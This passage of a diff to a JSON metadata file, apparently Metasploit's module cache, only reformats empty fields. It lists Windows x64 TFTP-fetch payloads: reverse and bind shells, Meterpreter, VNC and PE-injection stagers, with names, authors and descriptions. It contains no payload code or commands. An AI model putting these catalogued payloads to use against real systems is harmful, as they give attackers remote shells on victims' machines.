8, @@ -239854,9 +241573,7 @@ "payload_cmd/windows/tftp/x64/encrypted_shell_reverse_tcp": { "name": "TFTP Fetch, Windows Encrypted Reverse Shell", "fullname": "payload/cmd/windows/tftp/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239866,9 +241583,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239882,8 +241597,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239894,9 +241608,7 @@ "payload_cmd/windows/tftp/x64/exec": { "name": "TFTP Fetch, Windows x64 Execute Command", "fullname": "payload/cmd/windows/tftp/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239905,9 +241617,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239921,8 +241631,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239933,9 +241642,7 @@ "payload_cmd/windows/tftp/x64/loadlibrary": { "name": "TFTP Fetch, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/tftp/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239945,9 +241652,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239961,8 +241666,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239973,9 +241677,7 @@ "payload_cmd/windows/tftp/x64/messagebox": { "name": "TFTP Fetch, Windows MessageBox x64", "fullname": "payload/cmd/windows/tftp/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239984,9 +241686,7 @@ "pasta " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -240000,8 +241700,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240012,9 +241711,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240042,8 +241739,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240056,9 +241752,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240086,8 +241780,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240100,9 +241793,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240131,8 +241822,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240145,9 +241835,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240175,8 +241863,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240189,9 +241876,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240223,8 +241908,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240237,9 +241921,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240267,8 +241949,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240281,9 +241962,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_http": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240311,8 +241990,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240325,9 +242003,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_https": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240358,8 +242034,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240372,9 +242047,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_named_pipe": { "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240402,8 +242075,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240416,9 +242088,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240446,8 +242116,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240460,9 +242129,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240494,8 +242161,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240508,9 +242174,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240538,8 +242202,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240552,9 +242215,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttp": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240582,8 +242243,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240596,9 +242256,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttps": { "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240626,8 +242284,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240640,9 +242297,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_bind_named_pipe": { "name": "TFTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240670,8 +242325,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240682,9 +242336,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_bind_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240711,8 +242363,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240723,9 +242374,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_reverse_http": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240752,8 +242401,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240764,9 +242412,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_reverse_https": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240793,8 +242439,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240805,9 +242450,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240834,8 +242477,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240846,9 +242488,7 @@ "payload_cmd/windows/tftp/x64/meterpreter_reverse_tcp": { "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240875,8 +242515,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240887,9 +242526,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240915,8 +242552,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240929,9 +242565,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240958,8 +242592,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240972,9 +242605,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241000,8 +242631,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241014,9 +242644,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241042,8 +242670,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241056,9 +242683,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241089,8 +242714,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241103,9 +242727,7 @@ "payload_cmd/windows/tftp/x64/peinject/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241132,8 +242754,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241146,9 +242767,7 @@ "payload_cmd/windows/tftp/x64/peinject/reverse_named_pipe": { "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241174,8 +242793,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241188,9 +242806,7 @@ "payload_cmd/windows/tftp/x64/peinject/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241216,8 +242832,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241230,9 +242845,7 @@ "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241263,8 +242876,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241277,9 +242889,7 @@ "payload_cmd/windows/tftp/x64/peinject/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241306,8 +242916,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241320,9 +242929,7 @@ "payload_cmd/windows/tftp/x64/pingback_reverse_tcp": { "name": "TFTP Fetch, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/tftp/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241331,9 +242938,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241347,8 +242952,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241359,9 +242963,7 @@ "payload_cmd/windows/tftp/x64/powershell_bind_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/windows/tftp/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241388,8 +242990,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241400,9 +243001,7 @@ "payload_cmd/windows/tftp/x64/powershell_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/windows/tftp/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241429,8 +243028,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241441,9 +243039,7 @@ "payload_cmd/windows/tftp/x64/powershell_reverse_tcp_ssl": { "name": "TFTP Fetch", "fullname": "payload/cmd/windows/tftp/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241470,8 +243066,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241482,9 +243077,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241493,9 +243086,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241509,8 +243100,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241523,9 +243113,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241535,9 +243123,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241551,8 +243137,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241565,9 +243150,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241577,9 +243160,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241593,8 +243174,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241607,9 +243187,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241618,9 +243196,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241634,8 +243210,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241648,9 +243223,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_tcp_rc4": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241664,9 +243237,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241680,8 +243251,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241694,9 +243264,7 @@ "payload_cmd/windows/tftp/x64/shell/bind_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241706,9 +243274,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241722,8 +243288,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241736,9 +243301,7 @@ "payload_cmd/windows/tftp/x64/shell/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241747,9 +243310,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241763,8 +243324,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241777,9 +243337,7 @@ "payload_cmd/windows/tftp/x64/shell/reverse_tcp_rc4": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241793,9 +243351,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241809,8 +243365,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241823,9 +243378,7 @@ "payload_cmd/windows/tftp/x64/shell/reverse_tcp_uuid": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241835,9 +243388,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241851,8 +243402,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241865,9 +243415,7 @@ "payload_cmd/windows/tftp/x64/shell_bind_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/tftp/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241876,9 +243424,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241892,8 +243438,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241904,9 +243449,7 @@ "payload_cmd/windows/tftp/x64/shell_reverse_tcp": { "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/tftp/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241915,9 +243458,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -241931,8 +243472,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241943,9 +243483,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -241971,8 +243509,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -241985,9 +243522,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242014,8 +243549,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242028,9 +243562,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_named_pipe", - 